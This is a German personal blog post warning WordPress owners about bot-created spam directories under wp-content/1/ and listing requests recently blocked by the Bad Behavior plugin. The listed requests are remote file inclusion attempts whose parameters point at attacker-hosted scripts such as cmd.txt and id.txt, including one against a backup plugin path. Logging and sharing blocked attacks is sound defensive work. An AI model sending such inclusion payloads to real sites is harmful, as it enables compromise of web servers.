dyingeyes weblog: das persönliche Weblog von Boris Stumpf aus Frankfurt am Main

Schaut mal in euren WordPress-Verzeichnissen, ob euch ein böser Bot ein Verzeichnis [blogurl]/wp-content/1/ angelegt hat. Falls ja, könnten darin Spamlink-verseuchte Seiten stecken.

Die neue Seuche scheint schon heftig um sich zu greifen, was man sehen kann, wenn man per Google folgende Such-Zeichenkette eingibt: inurl:wp-content/1/

Wirft man mal einen Blick quer über die Fundstellen, findet man den gesammelten Rotz der Spammer dieser Welt: Poker-Beschiss, Online-Casino-Beschiss, Kreditkartenbeschiss, Viagra- und anderer Pillenbeschiss, Geldanlagebeschiss, und wahrscheinlich noch der ganze widerliche Billigporno-Müll. All der Dreck eben, der das Weltbild dieser Arschlöcher im Großen und Ganzen ausmacht.

Mehr dazu bei webrocker und BlogSecurity, bei beiden gibt’s weitere Info-Links.

Eine ganz kleine thematisch zusammenhängende Auswahl aus den von Bad Behavior in den vergangenen fünf oder sechs Tagen blockierten Zugriffen:

/de/index.php?p=http://www.pixeloutlet.com/cart/templates_c/can?
/de/index.php?p=http://www.hocke-kalkan.de/vi.txt??
/index.php?p=http://www.gumgangfarm.com/shop/data/id.txt?
/index.php?p=http://www.grupomlucas.es/modules/cmd31337.txt??
/index.php?p=http://www.urabaenlinea.com/phpbb2//language/lang_english/id.txt
//index.php?p=http://www.dv-media.co.uk//templates/31337.jpg??
//index.php?p=http://www.dv-media.co.uk//templates/php.jpg??
/index.php?p=http://www.gvnr.xpg.com.br/id.txt?t?
/index.php?p=http://www.tus-dom-esch.de/templates/l??
/index.php?p=http://aneuk.com/cmd.txt?
/2006/09/06//plugins/BackUp/Archive.php?bkpwp_plugin_path= …
… http://www.gieding.com/themes/safe.txt??
//plugins/BackUp/Archive.php?bkpwp_plugin_path= …
… http://www.gieding.com/themes/safe.txt??
/2006/09/06/wordpress-pingelei//plugins/BackUp/Archive.php?bkpwp_plugin_path= …
… http://www.gieding.com/themes/safe.txt??

Stammen von diversen IP-Adressen, ich vermute aber, dass das ein einziger Hirni (bzw. sein Bot?) ist, der offensichtlich ziemlich arge Gemütsschmerzen haben muss.

Das Bugfix-Update Bad Behavior 2.0.13 auf die leicht dérangierte Version 2.0.12 ist soeben erschienen! WordPress-Ping- und Trackbacks sollten jetzt wieder funktionieren.
Wir werden sogleich testen und sehen …